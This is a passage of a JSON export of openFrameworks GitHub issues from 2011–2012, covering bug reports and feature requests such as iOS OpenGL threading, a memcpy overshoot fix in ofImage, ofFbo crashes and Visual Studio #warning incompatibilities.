Problem","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-09-05T10:17:48Z","state":"open","user":{"url":"https://api.github.com/users/Tommato","gravatar_id":"95bbfbd39116dffe06be4d816f322bf0","login":"Tommato","avatar_url":"https://secure.gravatar.com/avatar/95bbfbd39116dffe06be4d816f322bf0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1027082},"id":1566286,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-26T18:44:30Z","body":"Related forum post: http://forum.openframeworks.cc/index.php/topic,7053.0.html\r\n\r\nFrom what I understand, it's best to leave the mainThread for UIKit elements and move openGL and other things to another thread. Currently, if there's a lot of drawing then the UIKit elements are delayed and can even pause the update/draw methods entirely. Moving the drawing to it's own thread should help with this.\r\n\r\nI'm still testing, but this looks like it could be a good candidate for core integration. It has examples of threaded, single (what we currently use), and GCD (which I think is iOS 4.0 only) openGL implementation: https://github.com/Volcore/LimbicGL In my early tests, it does fix any pausing of the update/draw with the threaded example (haven't tried the others). I could use some help though trying to integrate this into OF properly.\r\n\r\nThe main example classes are here: https://github.com/Volcore/LimbicGL/tree/master/limbicgl/drivers\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/721","comments":0,"milestone":null,"number":721,"html_url":"https://github.com/openframeworks/openFrameworks/issues/721","assignee":null,"title":"ofxiPhone - Move openGL to its own thread","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-08-26T18:43:09Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1497330,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:39:39Z","body":"The libraries linked in 007 as well as the new AVFoundationVideoPlayer is not compatible with 3.x devices and won't build.\r\n\r\nAfter further exploring, I believe these are the steps to get things running on 3.x devices.\r\n\r\n1) In Xcode, Click on target -> application name\r\n2) In the File Name window, set AVFoundation, CoreMedia, and CoreVideo from role \"required\" to \"weak\". They need to be weak linked since they're only available in iOS 4+.\r\n3) In ofxiPhone src folder, AVFoundationVideoPlayer.mm uses CMBlockBufferRef and that is only available in iOS4. This means, this function should be commented out (sorry - avfoundationvideoplayer won't run on iOS4 unless the blocker is changed). Either that or you can comment ouf AVFoundationVideoPlayer from being included in OF.\r\n4) Clean all targets and rebuild","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/720","comments":0,"milestone":null,"number":720,"html_url":"https://github.com/openframeworks/openFrameworks/issues/720","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"007 ofxiPhone not compatible with 3.x devices ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-08-26T18:38:38Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1497291,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T17:38:49Z","body":"\r\nbased on this comment, \r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,5319.msg33381.html#msg33381\r\n\r\nI wonder if we can be smarter in endShape() / ofPath::tessellate() and look for simple usage (3 or 4 points, etc) before tessellating, or if the slow down is just based on the use of the ofPath object. \r\n\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/719","comments":1,"milestone":null,"number":719,"html_url":"https://github.com/openframeworks/openFrameworks/issues/719","assignee":null,"title":"optimize ofEndShape() to deal with simple shapes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-08-22T16:56:27Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1459353,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T16:02:30Z","body":"change\r\n\r\nfloat ofCamera::getImagePlaneDistance(ofRectangle viewport) const {\r\n\treturn getPosition().length(); //viewport.height / (2.0f * tanf(PI * fov / 360.0f));\r\n}\r\n\r\nold in comment\r\n\r\ncurrent system is abitrary\r\nsuggest new system is more sensible\r\n(i'm always working in normalised coords)\r\npls check in your life before changing :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/717","comments":0,"milestone":null,"number":717,"html_url":"https://github.com/openframeworks/openFrameworks/issues/717","assignee":null,"title":"suggest new calc clip planes routine","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-22T16:02:30Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1458979,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T14:11:34Z","body":"http://forum.openframeworks.cc/index.php/topic,5222.msg33366.html#msg33366\r\n\r\nthere also seem to be a memory leak, when deleting a ofQuicktimeVideoPlayer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/716","comments":0,"milestone":null,"number":716,"html_url":"https://github.com/openframeworks/openFrameworks/issues/716","assignee":null,"title":"problems with stop/play in quicktime videoPlayer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-08-22T14:11:34Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":1458044,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-16T13:39:49Z","body":"Here\r\nhttps://github.com/openframeworks/openFrameworks/issues/653\r\nI downloaded latest version but in still crashes on my old video card Nvidia GeForce Go 7200.\r\nAny idea why?\r\nofxFBOTexture works, but i got some trobles in pixel format there. \r\nofxFBOTexture uses function with postfix EXT sometimes? ofFbo without it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/711","comments":5,"milestone":null,"number":711,"html_url":"https://github.com/openframeworks/openFrameworks/issues/711","assignee":null,"title":"Problem with ofFbo. Crashes on allocate.There were the same issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-08-16T10:21:29Z","state":"open","user":{"url":"https://api.github.com/users/IonRod","gravatar_id":"cf3cb346817dd8a9f8327d1af13c3d46","login":"IonRod","avatar_url":"https://secure.gravatar.com/avatar/cf3cb346817dd8a9f8327d1af13c3d46?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":886012},"id":1414013,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-15T14:23:47Z","body":"i'm noticing this on osx 10.6. all 8-bit images are correct, but somehow i didn't notice about unsigned short and float until now!\r\n\r\ni'm super busy atm, but i've kind of been maintaining the unsigned short/float loading so i'll look into this if someone else doesn't get to it first.\r\n\r\nmeanwhile it would be good to see if it's the same on windows or not. for anyone interested in testing, please check devApps/AdvancedImageLoading and compare the results of the app to the .exr opened in photoshop.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/710","comments":0,"milestone":null,"number":710,"html_url":"https://github.com/openframeworks/openFrameworks/issues/710","assignee":null,"title":"16-bit and 32-bit images are red/blue swapped","labels":[],"closed_at":null,"created_at":"2011-08-15T14:23:47Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1407813,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-07T12:19:07Z","body":"in the past there has been ofxQtVideoSaver and a few others. i think this is a really hard problem because it basically needs to be written for each platform, but something that should eventually be solved.\r\n\r\ntwo major use cases i know are:\r\n\r\n- capturing and saving simultaneously, for long streams\r\n- capturing a quick burst of video then saving it to disk\r\n\r\nwhich would might be handled a little differently.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/702","comments":1,"milestone":null,"number":702,"html_url":"https://github.com/openframeworks/openFrameworks/issues/702","assignee":null,"title":"cross platform video saving (ofVideoSaver?)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-07T03:23:38Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1359729,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-06T20:20:03Z","body":"Hi!\r\n\r\nI have problems even getting the ofxOsc Send/Receive examples talking on Ubuntu 11.04 64bit. \r\nThey compile without problems, but sometimes when I run them, communication fails somewhere along the road - input events are not shown in the receiver app. Sometimes it does not work at all.\r\n\r\nThis works all flawlessly on 32bit Ubuntu 11.04. See http://forum.openframeworks.cc/index.php/topic,6918.0.html for more details.\r\n\r\nCan anyone reproduce these problems? Any tips? How could I debug this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/701","comments":3,"milestone":null,"number":701,"html_url":"https://github.com/openframeworks/openFrameworks/issues/701","assignee":null,"title":"ofxOsc does not seem to work on 64bit Ubuntu","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2011-08-06T19:14:37Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":1358688,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-05T03:06:25Z","body":"very simple but helpful feature request. e.g.,\r\n\r\nofBuffer::operator=(const ofBuffer& mom) {\r\n set(mom.getBinaryBuffer(), mom.size());\r\n}\r\n\r\nthis goes along with the general \"what does the equal operator mean\" debate/discussion :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/700","comments":0,"milestone":null,"number":700,"html_url":"https://github.com/openframeworks/openFrameworks/issues/700","assignee":null,"title":"ofBuffer with overloaded = operator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-08-05T03:06:25Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1349012,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:28Z","body":"this seems like an api inconsistency to me: i feel like ofTexture::loadData() is similar to ofImage::setFromPixels(), but setFromPixels() will allocate space if necessary while loadData() just prints an error if the data is larger than the allocated space.\r\n\r\ni think auto-allocation would be nice, but i might just be misunderstanding/making a false comparison here.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/699","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":699,"html_url":"https://github.com/openframeworks/openFrameworks/issues/699","assignee":null,"title":"loadData() does not allocate as necessary","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-04T10:29:57Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1343463,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:12:03Z","body":"from: http://forum.openframeworks.cc/index.php/topic,6952.msg32509.html\r\n\r\n\r\n\r\ngetBmpFromPixels() crashed repeatedly when I tried to rescale grayscale Images of size 3026*2048.\r\n\r\nIt's because memcpy overshoots the src pixel array because dstStride can be larger than srcStride.\r\n\r\nIn ofImage.cpp \r\n\r\ngetBmpFromPixels()\r\n\r\naround line 119, I believe, it should read:\r\n\r\nCode:\r\nview plaincopy to clipboardprint?\r\n... \r\n int srcStride = width * pix.getBytesPerPixel(); \r\n int dstStride = FreeImage_GetPitch(bmp); \r\n unsigned char* src = (unsigned char*) pixels; \r\n unsigned char* dst = bmpBits; \r\n for(int i = 0; i < (int)height; i++) { \r\n // memcpy(dst, src, dstStride); \r\n memcpy(dst, src, srcStride); // did overshoot with e.g. grayscale img of size 3026*2048 \r\n src += srcStride; \r\n dst += dstStride; \r\n } \r\n... \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/698","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":698,"html_url":"https://github.com/openframeworks/openFrameworks/issues/698","assignee":null,"title":"getBmpFromPixels memcpy issue / ofImage::resize issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-08-03T18:15:55Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1339116,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-21T15:34:07Z","body":"I'm trying to build ofxPd in Visual Studio and running into multiple define issues related to the videoinput lib, namely static `verbose`: https://github.com/openframeworks/openFrameworks/blob/master/libs/videoInput/include/videoInput.h#L115\r\n\r\nCouldn't this variable as well as `comInitCount` be moved to the implementation files? or at least in a header hidden from the global namespace? At the least, `verbose` could be renamed to something not so common ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/697","comments":1,"milestone":null,"number":697,"html_url":"https://github.com/openframeworks/openFrameworks/issues/697","assignee":null,"title":"videoinput lib global statics","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-03T02:27:52Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":1334657,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T00:53:30Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/685","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":685,"html_url":"https://github.com/openframeworks/openFrameworks/issues/685","assignee":null,"title":"update shader example to work on ati.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-07-28T15:57:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1303812,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:40:42Z","body":"It is very annoying if you can not disable autocorrections in ofxiPhoneKeyboard. Specially for creative uses of this class. I add code how to add this feature.\r\n\r\n[CODE] Add to ofxiPhoneKeyboard class:\r\n\r\n- (void)disableAutoCorrection;\r\n- (void)enableAutoCorrection;\r\n\r\n//--------------------------------------------------------------\r\nvoid ofxiPhoneKeyboard::disableAutoCorrection()\r\n{\r\n [keyboard disableAutoCorrection];\r\n}\r\n//--------------------------------------------------------------\r\nvoid ofxiPhoneKeyboard::enableAutoCorrection()\r\n{\r\n [keyboard enableAutoCorrection];\r\n}\r\n\r\n- (void)disableAutoCorrection\r\n{\r\n _textField.autocorrectionType = UITextAutocorrectionTypeNo;\r\n}\r\n\r\n- (void)enableAutoCorrection\r\n{\r\n _textField.autocorrectionType = UITextAutocorrectionTypeYes;\r\n}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/684","comments":0,"milestone":null,"number":684,"html_url":"https://github.com/openframeworks/openFrameworks/issues/684","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhoneKeyboard should have disable/enable methods for auto correction","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-07-28T12:12:52Z","state":"open","user":{"url":"https://api.github.com/users/mcanet","gravatar_id":"e4d2b0151a843dde7b815b848170d6e9","login":"mcanet","avatar_url":"https://secure.gravatar.com/avatar/e4d2b0151a843dde7b815b848170d6e9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":308759},"id":1302375,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-24T18:26:54Z","body":"I think there's a bug in ofQuaternion in of007. When i use ofNode's setOrientation() or ofNode setRoll I can rotate my ofNode object around the Z axis. However when I try to obtain the current rotation around the Z axis it will always give a value like -180, 0 or 180.\r\n\r\nRick","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/679","comments":0,"milestone":null,"number":679,"html_url":"https://github.com/openframeworks/openFrameworks/issues/679","assignee":null,"title":"possible bug in getEuler / getOrientation / getRoll","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-24T18:26:54Z","state":"open","user":{"url":"https://api.github.com/users/companje","gravatar_id":"30a7e135fe77636519d74d129c60e156","login":"companje","avatar_url":"https://secure.gravatar.com/avatar/30a7e135fe77636519d74d129c60e156?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":156066},"id":1278252,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T22:13:24Z","body":"I know that with the 007 release ofxDirList addon is deprecated and instead we are encouraged to use ofDirectory to achiece the same kind of functionality. In fact the are so similar that is possible to use them interchangeably. To do that transparently you changed the ofxDirList.h so that it made a typedef to point to ofDirectory (and will probably remove it completely someday).\r\n\r\nThe contents of ofxDirList.h are the following:\r\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n#pragma once\r\n\r\n#include \"ofFileUtils.h\"\r\n\r\n#warning ofxDirList has been deprecated. \r\n#warning Remove all references to ofxDirList.h and use ofDirectory instead.\r\ntypedef ofDirectory ofxDirList;\r\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\nSo far so good. The problem is that you use the #warning preprocessing directive is non-standard and unsupported on Visual C++ compiler. In fact it gives me an error while building a project that I ported from 0062 version that used ofxDirList. To make it work I had to comment the two #warning lines. \r\n\r\nI suggest that you remove the #warning directives and replace it with something else that works across all compilers. I know that the #warning directive works on GCC and MinGW but not on VC++ so if you are going to support all those compilers (like you do) you better have all of your code working across all of them.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/676","comments":2,"milestone":null,"number":676,"html_url":"https://github.com/openframeworks/openFrameworks/issues/676","assignee":null,"title":"ofxDirList deprecated #warning directive preprocessor Visual Studio 2010","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-23T01:19:54Z","state":"open","user":{"url":"https://api.github.com/users/petersaints","gravatar_id":"03848790c2ebb8e5edbe130e8ce76f1d","login":"petersaints","avatar_url":"https://secure.gravatar.com/avatar/03848790c2ebb8e5edbe130e8ce76f1d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157810},"id":1273716,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-21T11:29:24Z","body":"changed this in dirListExample\r\n\r\n ofFile testfile;\r\n\t// you can now iterate through the files and load them into the ofImage vector\r\n\tfor(int i = 0; i < (int)dir.size(); i++){\r\n\t\timages[i].loadImage(dir.getPath(i));\r\n\t\ttestfile.open(dir.getPath(i));\r\n\t\tcout << testfile.isFile() << endl; //THIS LINE SEGFAULTS ON WIN7\r\n testfile.close();\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/671","comments":0,"milestone":null,"number":671,"html_url":"https://github.com/openframeworks/openFrameworks/issues/671","assignee":null,"title":"isFile() segfaults on win7","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-21T11:27:16Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":1262459,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-21T10:39:29Z","body":"just added output to all events in an emptyExample on windows7 64bit.\r\n\r\nif im clicking, the following output occurs even if the mouse is not moved\r\n\r\n mousePressed\r\n mouseReleased\r\n mouseMoved","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/670","comments":2,"milestone":null,"number":670,"html_url":"https://github.com/openframeworks/openFrameworks/issues/670","assignee":null,"title":"mouseReleased fires mouseMoved too 